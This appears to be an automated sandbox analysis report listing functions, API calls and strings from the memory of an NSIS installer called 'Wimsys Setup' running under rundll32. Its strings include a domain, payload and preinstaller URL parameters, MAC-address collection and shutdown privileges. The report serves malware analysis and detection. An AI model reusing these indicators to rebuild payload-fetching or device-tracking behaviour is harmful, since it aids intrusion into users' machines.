SHGetFileInfoW.SHELL32(0461AE40,00000000,?,000002B4,00000000), ref: 045E1207
lstrcpynW.KERNEL32(Wimsys Setup,NSIS Error,00000400), ref: 045E1222
GetCommandLineW.KERNEL32 ref: 045E1224
lstrcpynW.KERNEL32(04E7D020,00000000,00000400), ref: 045E123B
GetModuleHandleW.KERNEL32(00000000), ref: 045E123E
CharNextW.USER32(00000000), ref: 045E127B

Part of subcall function 045E314B: GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,045E11B9), ref: 045E3157
Part of subcall function 045E314B: GetProcAddress.KERNEL32(00000000), ref: 045E3174

lstrcpynW.KERNEL32(04E7C820,-00000006,00000400), ref: 045E1370
GetTempPathW.KERNEL32(00000400,04E7A820), ref: 045E138C
GetWindowsDirectoryW.KERNEL32(04E7A820,000003FB), ref: 045E13B1
lstrcatW.KERNEL32(04E7A820,\Temp), ref: 045E13C7
GetTempPathW.KERNEL32(000003FC,04E7A820), ref: 045E13E2
lstrcatW.KERNEL32(04E7A820,Low), ref: 045E13F4
SetEnvironmentVariableW.KERNEL32(TEMP,04E7A820), ref: 045E140C
SetEnvironmentVariableW.KERNEL32(TMP,04E7A820), ref: 045E141E
DeleteFileW.KERNEL32(04E7B020), ref: 045E1438
lstrcpynW.KERNEL32(04E7C820,-0000000A,00000400), ref: 045E14D2
lstrcpynW.KERNEL32(04E7C020,-0000000A,00000400), ref: 045E14E5
lstrcatW.KERNEL32(04E7A820,~nsu), ref: 045E150F
lstrcatW.KERNEL32(04E7A820,0461AEC4), ref: 045E1525

Part of subcall function 045E2235: CreateDirectoryW.KERNEL32(003A0043,00000000,771B3420,045E10DC,04E7A820,045E1393), ref: 045E223A
Part of subcall function 045E2235: GetLastError.KERNEL32 ref: 045E2244

Part of subcall function 045E65E0: OleInitialize.OLE32(00000000), ref: 045E65F0
Part of subcall function 045E65E0: OleUninitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,045E2007), ref: 045E663C

lstrcatW.KERNEL32(04E7A820,.tmp), ref: 045E1537
lstrcmpiW.KERNEL32(04E93820,04E92820), ref: 045E154D
SetCurrentDirectoryW.KERNEL32(04E7A820), ref: 045E1582
lstrcpynW.KERNEL32(04E91820,04E7B820,00000400), ref: 045E15A6
lstrcpynW.KERNEL32(04E87020,?,00000400), ref: 045E15BB
DeleteFileW.KERNEL32(04620F90), ref: 045E15F2
CopyFileW.KERNEL32(04E79820,04620F90,00000001), ref: 045E160E
CloseHandle.KERNEL32(00000000), ref: 045E1649
lstrcatW.KERNEL32(04E7B020,04644278), ref: 045E1717
lstrlenW.KERNEL32(Exec,00000000,Exec,00000000), ref: 045E17A3
lstrcmpiW.KERNEL32(-000000FC,.exe), ref: 045E17B9
GetFileAttributesW.KERNEL32(Exec), ref: 045E17C4
lstrcpynW.KERNEL32(04E7C820,00000000,00000400), ref: 045E17F2
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040), ref: 045E1835

Part of subcall function 045E2588: CharNextW.USER32(04E7D022,04E7D020,00000020,045E127A), ref: 045E259D

RegisterClassW.USER32(04649840), ref: 045E1875
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 045E188D
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 045E18C2
CloseHandle.KERNEL32(FFFFFFFF), ref: 045E1912
FreeLibrary.KERNEL32(?), ref: 045E193E
GlobalFree.KERNEL32(00000000), ref: 045E1945
OleUninitialize.OLE32 ref: 045E196B
ExitProcess.KERNEL32 ref: 045E1995
GetCurrentProcess.KERNEL32(00000028,?), ref: 045E19AA
OpenProcessToken.ADVAPI32(00000000), ref: 045E19B1
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 045E19C6
AdjustTokenPrivileges.ADVAPI32(?,?,?,00000001,00000000,?), ref: 045E19E9
ExitWindowsEx.USER32(00000002,80040002), ref: 045E1A0F

Strings

NSIS Error, xrefs: 045E1218
Wimsys Setup, xrefs: 045E121D
Error launching installer, xrefs: 045E149C
SeShutdownPrivilege, xrefs: 045E19C0
Control Panel\Desktop\ResourceLocale, xrefs: 045E16C1
Exec, xrefs: 045E1763, 045E176C, 045E177C
.tmp, xrefs: 045E152C
.exe, xrefs: 045E17B3
Low, xrefs: 045E13E9
~nsu, xrefs: 045E1503
_Nb, xrefs: 045E1850, 045E18BC
\Temp, xrefs: 045E13BC
TMP, xrefs: 045E1419
UXTHEME, xrefs: 045E1197, 045E11A3
Error writing temporary file. Make sure your temp folder is valid., xrefs: 045E114F
TEMP, xrefs: 045E1407
.DEFAULT\Control Panel\International, xrefs: 045E16FC

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$lstrcat$File$Handle$DirectoryProcess$CharCloseCreateCurrentDeleteEnvironmentErrorExitFreeInfoInitializeModuleNextPathTempTokenUninitializeVariableWindowslstrcmpilstrlen$AddressAdjustAttributesClassCommandCopyGlobalImageLastLibraryLineLoadLookupModeOpenParametersPrivilegePrivilegesProcRegisterSystemValueVersionWindow
String ID: .DEFAULT\Control Panel\International$.exe$.tmp$Control Panel\Desktop\ResourceLocale$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Exec$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$Wimsys Setup$\Temp$_Nb$~nsu
API String ID: 3576120452-137968867
Opcode ID: af4e54efa601466bdc2c3969d4aee0f158826abdd3e61fb80cce7b63cd7b61b6
Instruction ID: bd948d6611c153366fcf9f1f74c3ba06b8dc00ff60a233fdbe79ff5a129e0498
Opcode Fuzzy Hash: af4e54efa601466bdc2c3969d4aee0f158826abdd3e61fb80cce7b63cd7b61b6
Instruction Fuzzy Hash: 2132E376640601ABEB28AFA6EC48F7B37A8FB88714F145429F545D7280FB78EC41DB50

Uniqueness

Uniqueness Score: -1.00%

Function 045E3488 Relevance: 46.0, APIs: 23, Strings: 3, Instructions: 472
stringsleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32 ref: 045E3534
Sleep.KERNEL32(00000001,-00000001,00000000), ref: 045E356C
SetForegroundWindow.USER32(?), ref: 045E357C
ShowWindow.USER32(00000000,02D6B138), ref: 045E3626
ShowWindow.USER32(00000000), ref: 045E363E
SetFileAttributesW.KERNEL32(00000000,?), ref: 045E3655
GetFileAttributesW.KERNEL32(00000000), ref: 045E36C9
lstrcpynW.KERNEL32(04E7C020,00000000,00000400), ref: 045E370B
SetCurrentDirectoryW.KERNEL32(00000000), ref: 045E3712
MoveFileW.KERNEL32(00000000,00000000), ref: 045E3772
GetFullPathNameW.KERNEL32(00000000,00000400,00000000,?,000000E3), ref: 045E37CC
lstrcpynW.KERNEL32(?,-0000002C,00000400), ref: 045E3803
GetShortPathNameW.KERNEL32(00000000,00000000,00000400), ref: 045E3822
SearchPathW.KERNEL32(00000000,00000000,00000000,00000400,?,?), ref: 045E384B
lstrcpynW.KERNEL32(Exec,00000000,00000400,?,?), ref: 045E38B1
lstrcpynW.KERNEL32(Exec,04E7C020,00000400,?,?), ref: 045E38C5
lstrcatW.KERNEL32(00000000,00000000), ref: 045E38D4
CompareFileTime.KERNEL32(-00000014,?,Exec,?,?), ref: 045E3907
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp,00000400), ref: 045E396D
lstrcpynW.KERNEL32(Exec,00000400), ref: 045E397B
lstrcpynW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp,00000400), ref: 045E399A

Strings

C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll, xrefs: 045E36EB, 045E377C, 045E37AA, 045E3988, 045E39A7
C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp, xrefs: 045E3967, 045E396C, 045E3993
Exec, xrefs: 045E38A5, 045E38B0, 045E38C4, 045E38DA, 045E3974, 045E3A6C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: lstrcpyn$File$PathWindow$AttributesNameShow$CompareCurrentDirectoryForegroundFullMessageMovePostQuitSearchShortSleepTimelstrcat
String ID: C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp$C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll$Exec
API String ID: 825079545-4039454877
Opcode ID: d72756703bffb1e94f2d9e45b5649312e24ff0ab85e8a1ea48d824afee640332
Instruction ID: 1534e0d9263e1375fd31c9d61522c9575d002d3882ec0bb5367902fce3d4bf58
Opcode Fuzzy Hash: d72756703bffb1e94f2d9e45b5649312e24ff0ab85e8a1ea48d824afee640332
Instruction Fuzzy Hash: DEF1C0716083029BDB2CAF76A854A3B77A9FBC5354F10492DF966C3380EB34F805AB51

Uniqueness

Uniqueness Score: -1.00%

Function 045F2710 Relevance: 39.0, APIs: 12, Strings: 10, Instructions: 512
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.OLE32(00000000,00000000,?,?,?), ref: 045F2A52
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,?,?), ref: 045F2A6A
SysAllocString.OLEAUT32(04610A2C,00000000,00000001,04610A1C,00000000,?,?,?), ref: 045F2A82
SysAllocString.OLEAUT32(ROOT\CIMV2), ref: 045F2A93

Strings

MACAddress, xrefs: 045F2B90
WQL, xrefs: 045F2AEC
VWj, xrefs: 045F2A27
AdapterTypeID, xrefs: 045F2B66
, xrefs: 045F2894
jjj, xrefs: 045F2A58
jjj, xrefs: 045F2A60
Select * from Win32_NetworkAdapter Where NetEnabled=TRUE, xrefs: 045F2AD3
ROOT\CIMV2, xrefs: 045F2A8E
jjjj, xrefs: 045F2AAF

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: AllocInitializeString$Security
String ID: $AdapterTypeID$MACAddress$ROOT\CIMV2$Select * from Win32_NetworkAdapter Where NetEnabled=TRUE$VWj$WQL$jjj$jjj$jjjj
API String ID: 2669551906-828625420
Opcode ID: 194db8c0b4a72cd33766e16be28c7e625fea0d50dc7e33d7ffcc77dfe86c268f
Instruction ID: 4b227569f35800c75464ce4771f7e9c4a979d18855ae4ddb822d310ed5274699
Opcode Fuzzy Hash: 194db8c0b4a72cd33766e16be28c7e625fea0d50dc7e33d7ffcc77dfe86c268f
Instruction Fuzzy Hash: 1E02C170E00209ABDF18DFA4DC94BEEB7B5FF48304F244598FA11AB290DB72A945DB51

Uniqueness

Uniqueness Score: -1.00%

Function 045E1B42 Relevance: 19.5, APIs: 6, Strings: 5, Instructions: 240
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 045E1B60
GetModuleFileNameW.KERNEL32(00000000,04E79820,00000400,?,00000000,?,?,?,?,?,?,?,?,?,045E1447), ref: 045E1B82

Part of subcall function 045E2797: GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 045E27BB
Part of subcall function 045E2797: CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 045E27D4
Part of subcall function 045E2797: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 045E27EC
Part of subcall function 045E2797: lstrcmpW.KERNEL32(003A0043,?), ref: 045E27F8

lstrcpynW.KERNEL32(04E92820,04E94820,00000400,00000003,?,00000000,?,?,?,?,?,?,?,?,?,045E1447), ref: 045E1BD6
lstrcpynW.KERNEL32(04E79020,00000000,00000400,?,00000000,?,?,?,?,?,?,?,?,?,045E1447), ref: 045E1BFA

Strings

Null, xrefs: 045E1CA4
Inst, xrefs: 045E1C90
Error launching installer, xrefs: 045E1BB1
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 045E1E6C
soft, xrefs: 045E1C9A

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$ModuleNamelstrcpyn$AttributesCountCreateTicklstrcmp
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2516396849-527102705
Opcode ID: de12a53ea1fd62d99f8f9dd123de8d16cdb0ca838b4f8f86eebc8f66d2598fb8
Instruction ID: 2c7863ce8e6e4defc7bd64dcd9bba8a2300ad9a8c05e88eb38a47da88f1b7a7f
Opcode Fuzzy Hash: de12a53ea1fd62d99f8f9dd123de8d16cdb0ca838b4f8f86eebc8f66d2598fb8
Instruction Fuzzy Hash: D891F234614702ABEB28DF66E98067A7BE5FBC4304F40552EF54687280EB79FC45EB81

Uniqueness

Uniqueness Score: -1.00%

Function 045E2367 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 162
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 045E266E: lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,045E238D,00000000,00000000,?,00000000), ref: 045E267C
Part of subcall function 045E266E: lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 045E26C7
Part of subcall function 045E266E: GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 045E26D9

DeleteFileW.KERNEL32(003A0043,00000000,00000000,?,00000000), ref: 045E2397
lstrcpynW.KERNEL32(0463FFA0,003A0043,00000400,00000000,00000000,?,00000000), ref: 045E23D4
lstrcatW.KERNEL32(0463FFA0,\*.*), ref: 045E23EE
lstrcatW.KERNEL32(003A0043,0461B370), ref: 045E240F
lstrlenW.KERNEL32(003A0043,?,00000000), ref: 045E2412
FindFirstFileW.KERNEL32(0463FFA0,?,?,00000000), ref: 045E2429
lstrcpynW.KERNEL32(?,?,00000400,?,00000000), ref: 045E2469
FindNextFileW.KERNELBASE(00000000,00000010), ref: 045E24C8
FindClose.KERNEL32(00000000), ref: 045E24DA

Strings

\*.*, xrefs: 045E23E4
C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp, xrefs: 045E23CF, 045E23E9, 045E2424

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: File$Findlstrcpyn$lstrcatlstrlen$AttributesCloseDeleteFirstNext
String ID: C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp$\*.*
API String ID: 2851050878-2607445762
Opcode ID: c523b4f56df22e11e4787f2f2f06addead84aeebf097711d0a4f0e6005597cba
Instruction ID: 9bd0a21c3e96ecccb93463c4c6b7cd5311f4d7907892427e027a777ef4e2e8c2
Opcode Fuzzy Hash: c523b4f56df22e11e4787f2f2f06addead84aeebf097711d0a4f0e6005597cba
Instruction Fuzzy Hash: E35108317443014BE72CAB26E81563BB29DFFC4714F14459EF446C6198EFB8F941AA52

Uniqueness

Uniqueness Score: -1.00%

Function 02D27364 Relevance: 14.7, APIs: 2, Strings: 6, Instructions: 719
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

A, xrefs: 02D274C3
t, xrefs: 02D27743
c, xrefs: 02D27665
., xrefs: 02D279B8
s, xrefs: 02D275A1
2, xrefs: 02D273FF

Memory Dump Source

Source File: 00000007.00000002.1507646434.0000000002D27000.00000040.00000020.00020000.00000000.sdmp, Offset: 02D27000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2d27000_rundll32.jbxd

Similarity

API ID:
String ID: .$2$A$c$s$t
API String ID: 0-4220828924
Opcode ID: 4baf8f8cbeb86ac9e416eb2c4e97c00cc0a8a6a69167bac7946ad5430077f007
Instruction ID: 7cedf58f051a2b4375e5f67c9add353a1848aa04dd2cc83a2461ee39485dc00c
Opcode Fuzzy Hash: 4baf8f8cbeb86ac9e416eb2c4e97c00cc0a8a6a69167bac7946ad5430077f007
Instruction Fuzzy Hash: 82722170A082A88FEB29CF2CD8947EDBBB1AB55308F1440E9D4499B391D7769EC4CF54

Uniqueness

Uniqueness Score: -1.00%

Function 045E4C6B Relevance: 3.0, APIs: 2, Instructions: 34filestringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(?,?,00000400), ref: 045E4C60
FindFirstFileW.KERNEL32(00000000,?), ref: 045E4C7C

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: FileFindFirstlstrcpyn
String ID:
API String ID: 3866942784-0
Opcode ID: 39a8ddaf29ca863b2a3e454f7e6b9f1757ac7d5c2e5fc804f3f20aed8a045559
Instruction ID: 3f3acc1de5c6c0fd97cb29589156df07e5720881804b0573c7cf60a03b35a82b
Opcode Fuzzy Hash: 39a8ddaf29ca863b2a3e454f7e6b9f1757ac7d5c2e5fc804f3f20aed8a045559
Instruction Fuzzy Hash: ADF0B4723042409BD76CDB75E885BBEB399FB85220F100E1AE25EC6181EF787844AB11

Uniqueness

Uniqueness Score: -1.00%

Function 045E30A4 Relevance: 3.0, APIs: 2, Instructions: 15fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,046407A0,00000000,045E3740), ref: 045E30AC
FindClose.KERNEL32(00000000), ref: 045E30B8

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: e5c7a82a011e799dcb790ae029196f8e485f2bf2fbbcf76870783d308526a837
Instruction ID: 1607154756ed74bbf589b30308e830f94788652f18fa8dfea9b099940d1a854b
Opcode Fuzzy Hash: e5c7a82a011e799dcb790ae029196f8e485f2bf2fbbcf76870783d308526a837
Instruction Fuzzy Hash: ADC012326160301A8A282B78BC0C8872A8CDA81231B550AA1B428D2190E268DC828AE0

Uniqueness

Uniqueness Score: -1.00%

Function 045F1FA8 Relevance: 44.3, APIs: 23, Strings: 2, Instructions: 538
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getaddrinfo.WS2_32(?,?,00000000,00000000), ref: 045F2006
socket.WS2_32(?,?,?), ref: 045F207A
connect.WS2_32(00000000,?,?), ref: 045F209E
freeaddrinfo.WS2_32(00000000), ref: 045F20B3
WSACreateEvent.WS2_32 ref: 045F20B9
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 045F21DB
WSAGetLastError.WS2_32 ref: 045F21E6
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 045F2209
WSACreateEvent.WS2_32 ref: 045F223B
closesocket.WS2_32(?), ref: 045F2252
closesocket.WS2_32(?), ref: 045F2269
WSARecv.WS2_32(?,?,00000001,?,?), ref: 045F2312
WSAGetLastError.WS2_32 ref: 045F231D
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000001,00001388,00000001), ref: 045F2340
WSAGetLastError.WS2_32 ref: 045F235C
WSAGetOverlappedResult.WS2_32(?,?,00000000,00000000,00000000), ref: 045F23AE
WSAResetEvent.WS2_32(?), ref: 045F248C
WSACloseEvent.WS2_32(?), ref: 045F24C5
WSACloseEvent.WS2_32(?), ref: 045F24CD
closesocket.WS2_32(?), ref: 045F24D5
WSACleanup.WS2_32 ref: 045F24DB
closesocket.WS2_32(00000000), ref: 045F25CB
WSACleanup.WS2_32 ref: 045F25D1

Strings

GET , xrefs: 045F20CD
HTTP/1.1Host: %s, xrefs: 045F211F

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Event$closesocket$ErrorLast$CleanupCloseCreateEventsMultipleWait$OverlappedRecvResetResultSendconnectfreeaddrinfogetaddrinfosocket
String ID: HTTP/1.1Host: %s$GET
API String ID: 189022131-1233584444
Opcode ID: ecb6c544dbd8bfeab6cacabd61cb544435dbbd36bd408147a6790a16ea6a9b23
Instruction ID: 2b3ce62433fefd63b1435c0b64f23391929fb0c851ac5ed376f441f4e6e18477
Opcode Fuzzy Hash: ecb6c544dbd8bfeab6cacabd61cb544435dbbd36bd408147a6790a16ea6a9b23
Instruction Fuzzy Hash: E11202B19001299BDB258F24DC84BEEBB79FF44310F0441E9EA09A7191DB72BE84DF91

Uniqueness

Uniqueness Score: -1.00%

Function 045EF707 Relevance: 25.3, APIs: 3, Strings: 11, Instructions: 789
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32(?), ref: 045EF718
CommandLineToArgvW.SHELL32(00000000), ref: 045EF71F
__Init_thread_footer.LIBCMT ref: 045F043D

Strings

1.28.763.1, xrefs: 045EFD92, 045EFDAB
serragatino.info, xrefs: 045F0239
&ts=, xrefs: 045EFDCE
&u=, xrefs: 045EF9F7
&v=, xrefs: 045EFD4E
/cid, xrefs: 045EF886
/payload, xrefs: 045EF734
&mid=, xrefs: 045EFE3D
/preinstaller/index.php?evt=, xrefs: 045EFD3C
&payload=, xrefs: 045EFECF
&cid=, xrefs: 045EFA01

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: CommandLine$ArgvInit_thread_footer
String ID: &cid=$&mid=$&payload=$&ts=$&u=$&v=$/cid$/payload$/preinstaller/index.php?evt=$1.28.763.1$serragatino.info
API String ID: 123207428-3107760163
Opcode ID: 20e54adc716cdaea72c04b6368072055e6f452cc242fd9408e560ccae7bdb4e0
Instruction ID: b0a3032b029d82bbf4a72e9a6be65ebfd3d4069d6d3e4314ad705095360d54de
Opcode Fuzzy Hash: 20e54adc716cdaea72c04b6368072055e6f452cc242fd9408e560ccae7bdb4e0
Instruction Fuzzy Hash: 81621571C002059BEB1CDF64DC58BAE7775FF80308F148698D6496B2D2EB78BAC49B51

Uniqueness

Uniqueness Score: -1.00%

Function 045E2D19 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 241
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Exec,00000400), ref: 045E2E82
GetWindowsDirectoryW.KERNEL32(Exec,00000400,02D6B138,00000000,?,?,?,?,?,045E32AE,02D6B138,045E3563,-00000001,00000000), ref: 045E2E95
lstrcatW.KERNEL32(Exec,\Microsoft\Internet Explorer\Quick Launch), ref: 045E2F13
lstrcpynW.KERNEL32(Exec,?,00000400,02D6B138,00000000,?,?,?,?,?,045E32AE,02D6B138,045E3563,-00000001,00000000), ref: 045E2F50

Part of subcall function 045E2C21: wsprintfW.USER32 ref: 045E2C28

lstrlenW.KERNEL32(Exec,02D6B138,00000000,?,?,?,?,?,045E32AE,02D6B138,045E3563,-00000001,00000000), ref: 045E2F7A
lstrcpynW.KERNEL32(00000000,Exec,00000400,?,?,?,?,045E32AE,02D6B138,045E3563,-00000001,00000000), ref: 045E2FC4

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 045E2E49
\Microsoft\Internet Explorer\Quick Launch, xrefs: 045E2F0D
Exec, xrefs: 045E2D48, 045E2E47, 045E2E48, 045E2E56, 045E2E81, 045E2E94, 045E2EAB, 045E2ED7, 045E2F12, 045E2F19, 045E2F4F, 045E2F5E, 045E2F79, 045E2F84, 045E2FC2

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Directorylstrcpyn$SystemWindowslstrcatlstrlenwsprintf
String ID: Exec$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 1475261591-2234703965
Opcode ID: 2d214ba9449504a18e931b81ed8cac591986eb2e465922374547fb0f39738d19
Instruction ID: 79a506af5356479dc89f46d5ace5ddfa37df9970b0e9b12929cfbda33de4ce3c
Opcode Fuzzy Hash: 2d214ba9449504a18e931b81ed8cac591986eb2e465922374547fb0f39738d19
Instruction Fuzzy Hash: 24714571604312AFDB289F66DC41A3B77EDFB88300F0488AAF515DB148E774ED41AB51

Uniqueness

Uniqueness Score: -1.00%

Function 045E4261 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 045E4296
LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 045E42AB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000100,00000000,00000000), ref: 045E42D7
GetProcAddress.KERNEL32(00000000,?), ref: 045E42EA
FreeLibrary.KERNEL32(00000000), ref: 045E4375

Strings

C:\Users\user~1\AppData\Local\Temp\nssF49D.tmp\nsExec.dll, xrefs: 045E430D, 045E4383

Memory Dump Source

Source File: 00000007.00000002.1508009358.00000000045E0000.00000040.00001000.00020000.00000000.sdmp, Offset: 045E0000, based on PE: true

Associated: 00000007.00000002.1508009358.0000000004641000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.0000000004648000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.1508009358.000000000464C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_45e0000_rundll32.jbxd

Similarity

API ID: Library$AddressByteCharFreeHandleLoadModuleMultiProcWide
